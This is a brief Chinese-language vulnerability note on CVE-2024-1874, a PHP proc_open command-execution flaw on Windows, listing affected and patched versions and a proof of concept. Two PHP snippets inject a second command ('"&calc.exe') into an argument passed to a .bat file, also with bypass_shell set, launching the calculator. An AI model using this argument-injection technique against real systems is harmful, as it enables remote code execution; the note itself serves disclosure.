CVE-2024-1874 PHP命令执行漏洞
影响版本
Affected versions
< 8.1.28
< 8.2.18
< 8.3.5
Patched versions
8.1.28
8.2.18
8.3.6
POC
创建一个文件test.php
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes);
proc_close($proc);
随便创建一个.bat文件,如test.bat
echo test
然后在PHP 8.2.9nts版本下使用php test.php
来执行test.php,成功RCE调起计算器。
即使在proc_open()函数中使用bypass shell选项,依旧RCE成功。
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);
参考链接
https://mp.weixin.qq.com/s/jAeRY-XOKw8fmUDXT2ESNQ